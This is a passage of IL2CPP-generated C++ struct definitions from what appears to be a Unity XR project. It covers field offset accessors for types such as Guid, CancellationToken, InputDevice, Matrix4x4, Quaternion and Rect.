set_U3CU3E4__this_3(CustomInteractablesReceiver_t77423DDE2C42025153A88953C31A4CFA3EDA35A6 * value) { ___U3CU3E4__this_3 = value; Il2CppCodeGenWriteBarrier((void**)(&___U3CU3E4__this_3), (void*)value); } }; // UnityEngine.Rendering.UI.DebugUIHandlerEnumHistory/d__4 struct U3CRefreshAfterSanitizationU3Ed__4_t589C066824EA129EAEB2462B0DBC190E03B4D9EE : public RuntimeObject { public: // System.Int32 UnityEngine.Rendering.UI.DebugUIHandlerEnumHistory/d__4::<>1__state int32_t ___U3CU3E1__state_0; // System.Object UnityEngine.Rendering.UI.DebugUIHandlerEnumHistory/d__4::<>2__current RuntimeObject * ___U3CU3E2__current_1; // UnityEngine.Rendering.UI.DebugUIHandlerEnumHistory UnityEngine.Rendering.UI.DebugUIHandlerEnumHistory/d__4::<>4__this DebugUIHandlerEnumHistory_tC0EF9445B241549773A5755A726C640CF0DDE908 * ___U3CU3E4__this_2; public: inline static int32_t get_offset_of_U3CU3E1__state_0() { return static_cast(offsetof(U3CRefreshAfterSanitizationU3Ed__4_t589C066824EA129EAEB2462B0DBC190E03B4D9EE, ___U3CU3E1__state_0)); } inline int32_t get_U3CU3E1__state_0() const { return ___U3CU3E1__state_0; } inline int32_t* get_address_of_U3CU3E1__state_0() { return &___U3CU3E1__state_0; } inline void set_U3CU3E1__state_0(int32_t value) { ___U3CU3E1__state_0 = value; } inline static int32_t get_offset_of_U3CU3E2__current_1() { return static_cast(offsetof(U3CRefreshAfterSanitizationU3Ed__4_t589C066824EA129EAEB2462B0DBC190E03B4D9EE, ___U3CU3E2__current_1)); } inline RuntimeObject * get_U3CU3E2__current_1() const { return ___U3CU3E2__current_1; } inline RuntimeObject ** get_address_of_U3CU3E2__current_1() { return &___U3CU3E2__current_1; } inline void set_U3CU3E2__current_1(RuntimeObject * value) { ___U3CU3E2__current_1 = value; Il2CppCodeGenWriteBarrier((void**)(&___U3CU3E2__current_1), (void*)value); } inline static int32_t get_offset_of_U3CU3E4__this_2() { return static_cast(offsetof(U3CRefreshAfterSanitizationU3Ed__4_t589C066824EA129EAEB2462B0DBC190E03B4D9EE, ___U3CU3E4__this_2)); } inline DebugUIHandlerEnumHistory_tC0EF9445B241549773A5755A726C640CF0DDE908 * get_U3CU3E4__this_2() const { return ___U3CU3E4__this_2; } inline DebugUIHandlerEnumHistory_tC0EF9445B241549773A5755A726C640CF0DDE908 ** get_address_of_U3CU3E4__this_2() { return &___U3CU3E4__this_2; } inline void set_U3CU3E4__this_2(DebugUIHandlerEnumHistory_tC0EF9445B241549773A5755A726C640CF0DDE908 * value) { ___U3CU3E4__this_2 = value; Il2CppCodeGenWriteBarrier((void**)(&___U3CU3E4__this_2), (void*)value); } }; // System.Nullable`1 struct Nullable_1_t1D1CD146BFCBDC2E53E1F700889F8C5C21063EF3 { public: // T System.Nullable`1::value bool ___value_0; // System.Boolean System.Nullable`1::has_value bool ___has_value_1; public: inline static int32_t get_offset_of_value_0() { return static_cast(offsetof(Nullable_1_t1D1CD146BFCBDC2E53E1F700889F8C5C21063EF3, ___value_0)); } inline bool get_value_0() const { return ___value_0; } inline bool* get_address_of_value_0() { return &___value_0; } inline void set_value_0(bool value) { ___value_0 = value; } inline static int32_t get_offset_of_has_value_1() { return static_cast(offsetof(Nullable_1_t1D1CD146BFCBDC2E53E1F700889F8C5C21063EF3, ___has_value_1)); } inline bool get_has_value_1() const { return ___has_value_1; } inline bool* get_address_of_has_value_1() { return &___has_value_1; } inline void set_has_value_1(bool value) { ___has_value_1 = value; } }; // System.Nullable`1 struct Nullable_1_t0C4AC2E457C437FA106160547FD9BA5B50B1888A { public: // T System.Nullable`1::value float ___value_0; // System.Boolean System.Nullable`1::has_value bool ___has_value_1; public: inline static int32_t get_offset_of_value_0() { return static_cast(offsetof(Nullable_1_t0C4AC2E457C437FA106160547FD9BA5B50B1888A, ___value_0)); } inline float get_value_0() const { return ___value_0; } inline float* get_address_of_value_0() { return &___value_0; } inline void set_value_0(float value) { ___value_0 = value; } inline static int32_t get_offset_of_has_value_1() { return static_cast(offsetof(Nullable_1_t0C4AC2E457C437FA106160547FD9BA5B50B1888A, ___has_value_1)); } inline bool get_has_value_1() const { return ___has_value_1; } inline bool* get_address_of_has_value_1() { return &___has_value_1; } inline void set_has_value_1(bool value) { ___has_value_1 = value; } }; // System.Boolean struct Boolean_t07D1E3F34E4813023D64F584DFF7B34C9D922F37 { public: // System.Boolean System.Boolean::m_value bool ___m_value_0; public: inline static int32_t get_offset_of_m_value_0() { return static_cast(offsetof(Boolean_t07D1E3F34E4813023D64F584DFF7B34C9D922F37, ___m_value_0)); } inline bool get_m_value_0() const { return ___m_value_0; } inline bool* get_address_of_m_value_0() { return &___m_value_0; } inline void set_m_value_0(bool value) { ___m_value_0 = value; } }; struct Boolean_t07D1E3F34E4813023D64F584DFF7B34C9D922F37_StaticFields { public: // System.String System.Boolean::TrueString String_t* ___TrueString_5; // System.String System.Boolean::FalseString String_t* ___FalseString_6; public: inline static int32_t get_offset_of_TrueString_5() { return static_cast(offsetof(Boolean_t07D1E3F34E4813023D64F584DFF7B34C9D922F37_StaticFields, ___TrueString_5)); } inline String_t* get_TrueString_5() const { return ___TrueString_5; } inline String_t** get_address_of_TrueString_5() { return &___TrueString_5; } inline void set_TrueString_5(String_t* value) { ___TrueString_5 = value; Il2CppCodeGenWriteBarrier((void**)(&___TrueString_5), (void*)value); } inline static int32_t get_offset_of_FalseString_6() { return static_cast(offsetof(Boolean_t07D1E3F34E4813023D64F584DFF7B34C9D922F37_StaticFields, ___FalseString_6)); } inline String_t* get_FalseString_6() const { return ___FalseString_6; } inline String_t** get_address_of_FalseString_6() { return &___FalseString_6; } inline void set_FalseString_6(String_t* value) { ___FalseString_6 = value; Il2CppCodeGenWriteBarrier((void**)(&___FalseString_6), (void*)value); } }; // System.Threading.CancellationToken struct CancellationToken_tC9D68381C9164A4BA10397257E87ADC832AF5FFD { public: // System.Threading.CancellationTokenSource System.Threading.CancellationToken::m_source CancellationTokenSource_t78B989179DE23EDD36F870FFEE20A15D6D3C65B3 * ___m_source_0; public: inline static int32_t get_offset_of_m_source_0() { return static_cast(offsetof(CancellationToken_tC9D68381C9164A4BA10397257E87ADC832AF5FFD, ___m_source_0)); } inline CancellationTokenSource_t78B989179DE23EDD36F870FFEE20A15D6D3C65B3 * get_m_source_0() const { return ___m_source_0; } inline CancellationTokenSource_t78B989179DE23EDD36F870FFEE20A15D6D3C65B3 ** get_address_of_m_source_0() { return &___m_source_0; } inline void set_m_source_0(CancellationTokenSource_t78B989179DE23EDD36F870FFEE20A15D6D3C65B3 * value) { ___m_source_0 = value; Il2CppCodeGenWriteBarrier((void**)(&___m_source_0), (void*)value); } }; struct CancellationToken_tC9D68381C9164A4BA10397257E87ADC832AF5FFD_StaticFields { public: // System.Action`1 System.Threading.CancellationToken::s_ActionToActionObjShunt Action_1_tD9663D9715FAA4E62035CFCF1AD4D094EE7872DC * ___s_ActionToActionObjShunt_1; public: inline static int32_t get_offset_of_s_ActionToActionObjShunt_1() { return static_cast(offsetof(CancellationToken_tC9D68381C9164A4BA10397257E87ADC832AF5FFD_StaticFields, ___s_ActionToActionObjShunt_1)); } inline Action_1_tD9663D9715FAA4E62035CFCF1AD4D094EE7872DC * get_s_ActionToActionObjShunt_1() const { return ___s_ActionToActionObjShunt_1; } inline Action_1_tD9663D9715FAA4E62035CFCF1AD4D094EE7872DC ** get_address_of_s_ActionToActionObjShunt_1() { return &___s_ActionToActionObjShunt_1; } inline void set_s_ActionToActionObjShunt_1(Action_1_tD9663D9715FAA4E62035CFCF1AD4D094EE7872DC * value) { ___s_ActionToActionObjShunt_1 = value; Il2CppCodeGenWriteBarrier((void**)(&___s_ActionToActionObjShunt_1), (void*)value); } }; // Native definition for P/Invoke marshalling of System.Threading.CancellationToken struct CancellationToken_tC9D68381C9164A4BA10397257E87ADC832AF5FFD_marshaled_pinvoke { CancellationTokenSource_t78B989179DE23EDD36F870FFEE20A15D6D3C65B3 * ___m_source_0; }; // Native definition for COM marshalling of System.Threading.CancellationToken struct CancellationToken_tC9D68381C9164A4BA10397257E87ADC832AF5FFD_marshaled_com { CancellationTokenSource_t78B989179DE23EDD36F870FFEE20A15D6D3C65B3 * ___m_source_0; }; // Windows.Foundation.DateTime struct DateTime_t7C967DBDDE4CAEAA8B5AEB61E36309BCD7D26B8C { public: // System.Int64 Windows.Foundation.DateTime::UniversalTime int64_t ___UniversalTime_0; public: inline static int32_t get_offset_of_UniversalTime_0() { return static_cast(offsetof(DateTime_t7C967DBDDE4CAEAA8B5AEB61E36309BCD7D26B8C, ___UniversalTime_0)); } inline int64_t get_UniversalTime_0() const { return ___UniversalTime_0; } inline int64_t* get_address_of_UniversalTime_0() { return &___UniversalTime_0; } inline void set_UniversalTime_0(int64_t value) { ___UniversalTime_0 = value; } }; // System.Enum struct Enum_t23B90B40F60E677A8025267341651C94AE079CDA : public ValueType_tDBF999C1B75C48C68621878250DBF6CDBCF51E52 { public: public: }; struct Enum_t23B90B40F60E677A8025267341651C94AE079CDA_StaticFields { public: // System.Char[] System.Enum::enumSeperatorCharArray CharU5BU5D_t7B7FC5BC8091AA3B9CB0B29CDD80B5EE9254AA34* ___enumSeperatorCharArray_0; public: inline static int32_t get_offset_of_enumSeperatorCharArray_0() { return static_cast(offsetof(Enum_t23B90B40F60E677A8025267341651C94AE079CDA_StaticFields, ___enumSeperatorCharArray_0)); } inline CharU5BU5D_t7B7FC5BC8091AA3B9CB0B29CDD80B5EE9254AA34* get_enumSeperatorCharArray_0() const { return ___enumSeperatorCharArray_0; } inline CharU5BU5D_t7B7FC5BC8091AA3B9CB0B29CDD80B5EE9254AA34** get_address_of_enumSeperatorCharArray_0() { return &___enumSeperatorCharArray_0; } inline void set_enumSeperatorCharArray_0(CharU5BU5D_t7B7FC5BC8091AA3B9CB0B29CDD80B5EE9254AA34* value) { ___enumSeperatorCharArray_0 = value; Il2CppCodeGenWriteBarrier((void**)(&___enumSeperatorCharArray_0), (void*)value); } }; // Native definition for P/Invoke marshalling of System.Enum struct Enum_t23B90B40F60E677A8025267341651C94AE079CDA_marshaled_pinvoke { }; // Native definition for COM marshalling of System.Enum struct Enum_t23B90B40F60E677A8025267341651C94AE079CDA_marshaled_com { }; // System.Runtime.InteropServices.GCHandle struct GCHandle_t757890BC4BBBEDE5A623A3C110013EDD24613603 { public: // System.Int32 System.Runtime.InteropServices.GCHandle::handle int32_t ___handle_0; public: inline static int32_t get_offset_of_handle_0() { return static_cast(offsetof(GCHandle_t757890BC4BBBEDE5A623A3C110013EDD24613603, ___handle_0)); } inline int32_t get_handle_0() const { return ___handle_0; } inline int32_t* get_address_of_handle_0() { return &___handle_0; } inline void set_handle_0(int32_t value) { ___handle_0 = value; } }; // System.Guid struct Guid_t { public: // System.Int32 System.Guid::_a int32_t ____a_1; // System.Int16 System.Guid::_b int16_t ____b_2; // System.Int16 System.Guid::_c int16_t ____c_3; // System.Byte System.Guid::_d uint8_t ____d_4; // System.Byte System.Guid::_e uint8_t ____e_5; // System.Byte System.Guid::_f uint8_t ____f_6; // System.Byte System.Guid::_g uint8_t ____g_7; // System.Byte System.Guid::_h uint8_t ____h_8; // System.Byte System.Guid::_i uint8_t ____i_9; // System.Byte System.Guid::_j uint8_t ____j_10; // System.Byte System.Guid::_k uint8_t ____k_11; public: inline static int32_t get_offset_of__a_1() { return static_cast(offsetof(Guid_t, ____a_1)); } inline int32_t get__a_1() const { return ____a_1; } inline int32_t* get_address_of__a_1() { return &____a_1; } inline void set__a_1(int32_t value) { ____a_1 = value; } inline static int32_t get_offset_of__b_2() { return static_cast(offsetof(Guid_t, ____b_2)); } inline int16_t get__b_2() const { return ____b_2; } inline int16_t* get_address_of__b_2() { return &____b_2; } inline void set__b_2(int16_t value) { ____b_2 = value; } inline static int32_t get_offset_of__c_3() { return static_cast(offsetof(Guid_t, ____c_3)); } inline int16_t get__c_3() const { return ____c_3; } inline int16_t* get_address_of__c_3() { return &____c_3; } inline void set__c_3(int16_t value) { ____c_3 = value; } inline static int32_t get_offset_of__d_4() { return static_cast(offsetof(Guid_t, ____d_4)); } inline uint8_t get__d_4() const { return ____d_4; } inline uint8_t* get_address_of__d_4() { return &____d_4; } inline void set__d_4(uint8_t value) { ____d_4 = value; } inline static int32_t get_offset_of__e_5() { return static_cast(offsetof(Guid_t, ____e_5)); } inline uint8_t get__e_5() const { return ____e_5; } inline uint8_t* get_address_of__e_5() { return &____e_5; } inline void set__e_5(uint8_t value) { ____e_5 = value; } inline static int32_t get_offset_of__f_6() { return static_cast(offsetof(Guid_t, ____f_6)); } inline uint8_t get__f_6() const { return ____f_6; } inline uint8_t* get_address_of__f_6() { return &____f_6; } inline void set__f_6(uint8_t value) { ____f_6 = value; } inline static int32_t get_offset_of__g_7() { return static_cast(offsetof(Guid_t, ____g_7)); } inline uint8_t get__g_7() const { return ____g_7; } inline uint8_t* get_address_of__g_7() { return &____g_7; } inline void set__g_7(uint8_t value) { ____g_7 = value; } inline static int32_t get_offset_of__h_8() { return static_cast(offsetof(Guid_t, ____h_8)); } inline uint8_t get__h_8() const { return ____h_8; } inline uint8_t* get_address_of__h_8() { return &____h_8; } inline void set__h_8(uint8_t value) { ____h_8 = value; } inline static int32_t get_offset_of__i_9() { return static_cast(offsetof(Guid_t, ____i_9)); } inline uint8_t get__i_9() const { return ____i_9; } inline uint8_t* get_address_of__i_9() { return &____i_9; } inline void set__i_9(uint8_t value) { ____i_9 = value; } inline static int32_t get_offset_of__j_10() { return static_cast(offsetof(Guid_t, ____j_10)); } inline uint8_t get__j_10() const { return ____j_10; } inline uint8_t* get_address_of__j_10() { return &____j_10; } inline void set__j_10(uint8_t value) { ____j_10 = value; } inline static int32_t get_offset_of__k_11() { return static_cast(offsetof(Guid_t, ____k_11)); } inline uint8_t get__k_11() const { return ____k_11; } inline uint8_t* get_address_of__k_11() { return &____k_11; } inline void set__k_11(uint8_t value) { ____k_11 = value; } }; struct Guid_t_StaticFields { public: // System.Guid System.Guid::Empty Guid_t ___Empty_0; // System.Object System.Guid::_rngAccess RuntimeObject * ____rngAccess_12; // System.Security.Cryptography.RandomNumberGenerator System.Guid::_rng RandomNumberGenerator_t2CB5440F189986116A2FA9F907AE52644047AC50 * ____rng_13; // System.Security.Cryptography.RandomNumberGenerator System.Guid::_fastRng RandomNumberGenerator_t2CB5440F189986116A2FA9F907AE52644047AC50 * ____fastRng_14; public: inline static int32_t get_offset_of_Empty_0() { return static_cast(offsetof(Guid_t_StaticFields, ___Empty_0)); } inline Guid_t get_Empty_0() const { return ___Empty_0; } inline Guid_t * get_address_of_Empty_0() { return &___Empty_0; } inline void set_Empty_0(Guid_t value) { ___Empty_0 = value; } inline static int32_t get_offset_of__rngAccess_12() { return static_cast(offsetof(Guid_t_StaticFields, ____rngAccess_12)); } inline RuntimeObject * get__rngAccess_12() const { return ____rngAccess_12; } inline RuntimeObject ** get_address_of__rngAccess_12() { return &____rngAccess_12; } inline void set__rngAccess_12(RuntimeObject * value) { ____rngAccess_12 = value; Il2CppCodeGenWriteBarrier((void**)(&____rngAccess_12), (void*)value); } inline static int32_t get_offset_of__rng_13() { return static_cast(offsetof(Guid_t_StaticFields, ____rng_13)); } inline RandomNumberGenerator_t2CB5440F189986116A2FA9F907AE52644047AC50 * get__rng_13() const { return ____rng_13; } inline RandomNumberGenerator_t2CB5440F189986116A2FA9F907AE52644047AC50 ** get_address_of__rng_13() { return &____rng_13; } inline void set__rng_13(RandomNumberGenerator_t2CB5440F189986116A2FA9F907AE52644047AC50 * value) { ____rng_13 = value; Il2CppCodeGenWriteBarrier((void**)(&____rng_13), (void*)value); } inline static int32_t get_offset_of__fastRng_14() { return static_cast(offsetof(Guid_t_StaticFields, ____fastRng_14)); } inline RandomNumberGenerator_t2CB5440F189986116A2FA9F907AE52644047AC50 * get__fastRng_14() const { return ____fastRng_14; } inline RandomNumberGenerator_t2CB5440F189986116A2FA9F907AE52644047AC50 ** get_address_of__fastRng_14() { return &____fastRng_14; } inline void set__fastRng_14(RandomNumberGenerator_t2CB5440F189986116A2FA9F907AE52644047AC50 * value) { ____fastRng_14 = value; Il2CppCodeGenWriteBarrier((void**)(&____fastRng_14), (void*)value); } }; // UnityEngine.XR.InputDevice struct InputDevice_t69B790C68145C769BA3819DE33AA94155C77207E { public: // System.UInt64 UnityEngine.XR.InputDevice::m_DeviceId uint64_t ___m_DeviceId_0; // System.Boolean UnityEngine.XR.InputDevice::m_Initialized bool ___m_Initialized_1; public: inline static int32_t get_offset_of_m_DeviceId_0() { return static_cast(offsetof(InputDevice_t69B790C68145C769BA3819DE33AA94155C77207E, ___m_DeviceId_0)); } inline uint64_t get_m_DeviceId_0() const { return ___m_DeviceId_0; } inline uint64_t* get_address_of_m_DeviceId_0() { return &___m_DeviceId_0; } inline void set_m_DeviceId_0(uint64_t value) { ___m_DeviceId_0 = value; } inline static int32_t get_offset_of_m_Initialized_1() { return static_cast(offsetof(InputDevice_t69B790C68145C769BA3819DE33AA94155C77207E, ___m_Initialized_1)); } inline bool get_m_Initialized_1() const { return ___m_Initialized_1; } inline bool* get_address_of_m_Initialized_1() { return &___m_Initialized_1; } inline void set_m_Initialized_1(bool value) { ___m_Initialized_1 = value; } }; // Native definition for P/Invoke marshalling of UnityEngine.XR.InputDevice struct InputDevice_t69B790C68145C769BA3819DE33AA94155C77207E_marshaled_pinvoke { uint64_t ___m_DeviceId_0; int32_t ___m_Initialized_1; }; // Native definition for COM marshalling of UnityEngine.XR.InputDevice struct InputDevice_t69B790C68145C769BA3819DE33AA94155C77207E_marshaled_com { uint64_t ___m_DeviceId_0; int32_t ___m_Initialized_1; }; // System.Int32 struct Int32_tFDE5F8CD43D10453F6A2E0C77FE48C6CC7009046 { public: // System.Int32 System.Int32::m_value int32_t ___m_value_0; public: inline static int32_t get_offset_of_m_value_0() { return static_cast(offsetof(Int32_tFDE5F8CD43D10453F6A2E0C77FE48C6CC7009046, ___m_value_0)); } inline int32_t get_m_value_0() const { return ___m_value_0; } inline int32_t* get_address_of_m_value_0() { return &___m_value_0; } inline void set_m_value_0(int32_t value) { ___m_value_0 = value; } }; // System.IntPtr struct IntPtr_t { public: // System.Void* System.IntPtr::m_value void* ___m_value_0; public: inline static int32_t get_offset_of_m_value_0() { return static_cast(offsetof(IntPtr_t, ___m_value_0)); } inline void* get_m_value_0() const { return ___m_value_0; } inline void** get_address_of_m_value_0() { return &___m_value_0; } inline void set_m_value_0(void* value) { ___m_value_0 = value; } }; struct IntPtr_t_StaticFields { public: // System.IntPtr System.IntPtr::Zero intptr_t ___Zero_1; public: inline static int32_t get_offset_of_Zero_1() { return static_cast(offsetof(IntPtr_t_StaticFields, ___Zero_1)); } inline intptr_t get_Zero_1() const { return ___Zero_1; } inline intptr_t* get_address_of_Zero_1() { return &___Zero_1; } inline void set_Zero_1(intptr_t value) { ___Zero_1 = value; } }; // System.Numerics.Matrix4x4 struct Matrix4x4_t5B627955C6D80AF8F1D97A6466CB337DCEEB3504 { public: // System.Single System.Numerics.Matrix4x4::M11 float ___M11_0; // System.Single System.Numerics.Matrix4x4::M12 float ___M12_1; // System.Single System.Numerics.Matrix4x4::M13 float ___M13_2; // System.Single System.Numerics.Matrix4x4::M14 float ___M14_3; // System.Single System.Numerics.Matrix4x4::M21 float ___M21_4; // System.Single System.Numerics.Matrix4x4::M22 float ___M22_5; // System.Single System.Numerics.Matrix4x4::M23 float ___M23_6; // System.Single System.Numerics.Matrix4x4::M24 float ___M24_7; // System.Single System.Numerics.Matrix4x4::M31 float ___M31_8; // System.Single System.Numerics.Matrix4x4::M32 float ___M32_9; // System.Single System.Numerics.Matrix4x4::M33 float ___M33_10; // System.Single System.Numerics.Matrix4x4::M34 float ___M34_11; // System.Single System.Numerics.Matrix4x4::M41 float ___M41_12; // System.Single System.Numerics.Matrix4x4::M42 float ___M42_13; // System.Single System.Numerics.Matrix4x4::M43 float ___M43_14; // System.Single System.Numerics.Matrix4x4::M44 float ___M44_15; public: inline static int32_t get_offset_of_M11_0() { return static_cast(offsetof(Matrix4x4_t5B627955C6D80AF8F1D97A6466CB337DCEEB3504, ___M11_0)); } inline float get_M11_0() const { return ___M11_0; } inline float* get_address_of_M11_0() { return &___M11_0; } inline void set_M11_0(float value) { ___M11_0 = value; } inline static int32_t get_offset_of_M12_1() { return static_cast(offsetof(Matrix4x4_t5B627955C6D80AF8F1D97A6466CB337DCEEB3504, ___M12_1)); } inline float get_M12_1() const { return ___M12_1; } inline float* get_address_of_M12_1() { return &___M12_1; } inline void set_M12_1(float value) { ___M12_1 = value; } inline static int32_t get_offset_of_M13_2() { return static_cast(offsetof(Matrix4x4_t5B627955C6D80AF8F1D97A6466CB337DCEEB3504, ___M13_2)); } inline float get_M13_2() const { return ___M13_2; } inline float* get_address_of_M13_2() { return &___M13_2; } inline void set_M13_2(float value) { ___M13_2 = value; } inline static int32_t get_offset_of_M14_3() { return static_cast(offsetof(Matrix4x4_t5B627955C6D80AF8F1D97A6466CB337DCEEB3504, ___M14_3)); } inline float get_M14_3() const { return ___M14_3; } inline float* get_address_of_M14_3() { return &___M14_3; } inline void set_M14_3(float value) { ___M14_3 = value; } inline static int32_t get_offset_of_M21_4() { return static_cast(offsetof(Matrix4x4_t5B627955C6D80AF8F1D97A6466CB337DCEEB3504, ___M21_4)); } inline float get_M21_4() const { return ___M21_4; } inline float* get_address_of_M21_4() { return &___M21_4; } inline void set_M21_4(float value) { ___M21_4 = value; } inline static int32_t get_offset_of_M22_5() { return static_cast(offsetof(Matrix4x4_t5B627955C6D80AF8F1D97A6466CB337DCEEB3504, ___M22_5)); } inline float get_M22_5() const { return ___M22_5; } inline float* get_address_of_M22_5() { return &___M22_5; } inline void set_M22_5(float value) { ___M22_5 = value; } inline static int32_t get_offset_of_M23_6() { return static_cast(offsetof(Matrix4x4_t5B627955C6D80AF8F1D97A6466CB337DCEEB3504, ___M23_6)); } inline float get_M23_6() const { return ___M23_6; } inline float* get_address_of_M23_6() { return &___M23_6; } inline void set_M23_6(float value) { ___M23_6 = value; } inline static int32_t get_offset_of_M24_7() { return static_cast(offsetof(Matrix4x4_t5B627955C6D80AF8F1D97A6466CB337DCEEB3504, ___M24_7)); } inline float get_M24_7() const { return ___M24_7; } inline float* get_address_of_M24_7() { return &___M24_7; } inline void set_M24_7(float value) { ___M24_7 = value; } inline static int32_t get_offset_of_M31_8() { return static_cast(offsetof(Matrix4x4_t5B627955C6D80AF8F1D97A6466CB337DCEEB3504, ___M31_8)); } inline float get_M31_8() const { return ___M31_8; } inline float* get_address_of_M31_8() { return &___M31_8; } inline void set_M31_8(float value) { ___M31_8 = value; } inline static int32_t get_offset_of_M32_9() { return static_cast(offsetof(Matrix4x4_t5B627955C6D80AF8F1D97A6466CB337DCEEB3504, ___M32_9)); } inline float get_M32_9() const { return ___M32_9; } inline float* get_address_of_M32_9() { return &___M32_9; } inline void set_M32_9(float value) { ___M32_9 = value; } inline static int32_t get_offset_of_M33_10() { return static_cast(offsetof(Matrix4x4_t5B627955C6D80AF8F1D97A6466CB337DCEEB3504, ___M33_10)); } inline float get_M33_10() const { return ___M33_10; } inline float* get_address_of_M33_10() { return &___M33_10; } inline void set_M33_10(float value) { ___M33_10 = value; } inline static int32_t get_offset_of_M34_11() { return static_cast(offsetof(Matrix4x4_t5B627955C6D80AF8F1D97A6466CB337DCEEB3504, ___M34_11)); } inline float get_M34_11() const { return ___M34_11; } inline float* get_address_of_M34_11() { return &___M34_11; } inline void set_M34_11(float value) { ___M34_11 = value; } inline static int32_t get_offset_of_M41_12() { return static_cast(offsetof(Matrix4x4_t5B627955C6D80AF8F1D97A6466CB337DCEEB3504, ___M41_12)); } inline float get_M41_12() const { return ___M41_12; } inline float* get_address_of_M41_12() { return &___M41_12; } inline void set_M41_12(float value) { ___M41_12 = value; } inline static int32_t get_offset_of_M42_13() { return static_cast(offsetof(Matrix4x4_t5B627955C6D80AF8F1D97A6466CB337DCEEB3504, ___M42_13)); } inline float get_M42_13() const { return ___M42_13; } inline float* get_address_of_M42_13() { return &___M42_13; } inline void set_M42_13(float value) { ___M42_13 = value; } inline static int32_t get_offset_of_M43_14() { return static_cast(offsetof(Matrix4x4_t5B627955C6D80AF8F1D97A6466CB337DCEEB3504, ___M43_14)); } inline float get_M43_14() const { return ___M43_14; } inline float* get_address_of_M43_14() { return &___M43_14; } inline void set_M43_14(float value) { ___M43_14 = value; } inline static int32_t get_offset_of_M44_15() { return static_cast(offsetof(Matrix4x4_t5B627955C6D80AF8F1D97A6466CB337DCEEB3504, ___M44_15)); } inline float get_M44_15() const { return ___M44_15; } inline float* get_address_of_M44_15() { return &___M44_15; } inline void set_M44_15(float value) { ___M44_15 = value; } }; struct Matrix4x4_t5B627955C6D80AF8F1D97A6466CB337DCEEB3504_StaticFields { public: // System.Numerics.Matrix4x4 System.Numerics.Matrix4x4::_identity Matrix4x4_t5B627955C6D80AF8F1D97A6466CB337DCEEB3504 ____identity_16; public: inline static int32_t get_offset_of__identity_16() { return static_cast(offsetof(Matrix4x4_t5B627955C6D80AF8F1D97A6466CB337DCEEB3504_StaticFields, ____identity_16)); } inline Matrix4x4_t5B627955C6D80AF8F1D97A6466CB337DCEEB3504 get__identity_16() const { return ____identity_16; } inline Matrix4x4_t5B627955C6D80AF8F1D97A6466CB337DCEEB3504 * get_address_of__identity_16() { return &____identity_16; } inline void set__identity_16(Matrix4x4_t5B627955C6D80AF8F1D97A6466CB337DCEEB3504 value) { ____identity_16 = value; } }; // Windows.Foundation.Point struct Point_t155CCDBE84DC37ABFA2CBB4649526701CA3A5578 { public: // System.Single Windows.Foundation.Point::_x float ____x_0; // System.Single Windows.Foundation.Point::_y float ____y_1; public: inline static int32_t get_offset_of__x_0() { return static_cast(offsetof(Point_t155CCDBE84DC37ABFA2CBB4649526701CA3A5578, ____x_0)); } inline float get__x_0() const { return ____x_0; } inline float* get_address_of__x_0() { return &____x_0; } inline void set__x_0(float value) { ____x_0 = value; } inline static int32_t get_offset_of__y_1() { return static_cast(offsetof(Point_t155CCDBE84DC37ABFA2CBB4649526701CA3A5578, ____y_1)); } inline float get__y_1() const { return ____y_1; } inline float* get_address_of__y_1() { return &____y_1; } inline void set__y_1(float value) { ____y_1 = value; } }; // UnityEngine.Quaternion struct Quaternion_t6D28618CF65156D4A0AD747370DDFD0C514A31B4 { public: // System.Single UnityEngine.Quaternion::x float ___x_0; // System.Single UnityEngine.Quaternion::y float ___y_1; // System.Single UnityEngine.Quaternion::z float ___z_2; // System.Single UnityEngine.Quaternion::w float ___w_3; public: inline static int32_t get_offset_of_x_0() { return static_cast(offsetof(Quaternion_t6D28618CF65156D4A0AD747370DDFD0C514A31B4, ___x_0)); } inline float get_x_0() const { return ___x_0; } inline float* get_address_of_x_0() { return &___x_0; } inline void set_x_0(float value) { ___x_0 = value; } inline static int32_t get_offset_of_y_1() { return static_cast(offsetof(Quaternion_t6D28618CF65156D4A0AD747370DDFD0C514A31B4, ___y_1)); } inline float get_y_1() const { return ___y_1; } inline float* get_address_of_y_1() { return &___y_1; } inline void set_y_1(float value) { ___y_1 = value; } inline static int32_t get_offset_of_z_2() { return static_cast(offsetof(Quaternion_t6D28618CF65156D4A0AD747370DDFD0C514A31B4, ___z_2)); } inline float get_z_2() const { return ___z_2; } inline float* get_address_of_z_2() { return &___z_2; } inline void set_z_2(float value) { ___z_2 = value; } inline static int32_t get_offset_of_w_3() { return static_cast(offsetof(Quaternion_t6D28618CF65156D4A0AD747370DDFD0C514A31B4, ___w_3)); } inline float get_w_3() const { return ___w_3; } inline float* get_address_of_w_3() { return &___w_3; } inline void set_w_3(float value) { ___w_3 = value; } }; struct Quaternion_t6D28618CF65156D4A0AD747370DDFD0C514A31B4_StaticFields { public: // UnityEngine.Quaternion UnityEngine.Quaternion::identityQuaternion Quaternion_t6D28618CF65156D4A0AD747370DDFD0C514A31B4 ___identityQuaternion_4; public: inline static int32_t get_offset_of_identityQuaternion_4() { return static_cast(offsetof(Quaternion_t6D28618CF65156D4A0AD747370DDFD0C514A31B4_StaticFields, ___identityQuaternion_4)); } inline Quaternion_t6D28618CF65156D4A0AD747370DDFD0C514A31B4 get_identityQuaternion_4() const { return ___identityQuaternion_4; } inline Quaternion_t6D28618CF65156D4A0AD747370DDFD0C514A31B4 * get_address_of_identityQuaternion_4() { return &___identityQuaternion_4; } inline void set_identityQuaternion_4(Quaternion_t6D28618CF65156D4A0AD747370DDFD0C514A31B4 value) { ___identityQuaternion_4 = value; } }; // Windows.Foundation.Rect struct Rect_tC45F1DDF39812623644DE296D8057A4958176627 { public: // System.Single Windows.Foundation.Rect::_x float ____x_0; // System.Single Windows.Foundation.Rect::_y float ____y_1; // System.Single Windows.Foundation.Rect::_width float ____width_2; // System.Single Windows.Foundation.Rect::_height float ____height_3; public: inline static int32_t get_offset_of__x_0() { return static_cast(offsetof(Rect_tC45F1DDF39812623644DE296D8057A4958176627, ____x_0)); } inline float get__x_0() const { return ____x_0; } inline float* get_address_of__x_0() { return &____x_0; } inline void set__x_0(float value) { ____x_0 = value; } inline static int32_t get_offset_of__y_1() { return static_cast(offsetof(Rect_tC45F1DDF39812623644DE296D8057A4958176627, ____y_1)); } inline float get__y_1() const { return ____y_1; } inline float* get_address_of__y_1() { return &____y_1; } inline void set__y_1(float value) { ____y_1 = value; } inline static int32_t get_offset_of__width_2() { return static_cast(offsetof(Rect_tC45F1DDF39812623644DE296D8057A4958176627, ____width_2)); } inline float get__width_2() const { return ____width_2; } inline float* get_address_of__width_2() { return &____width_2; } inline void set__width_2(float value) { ____width_2 = value; } inline static int32_t get_offset_of__height_3() { return 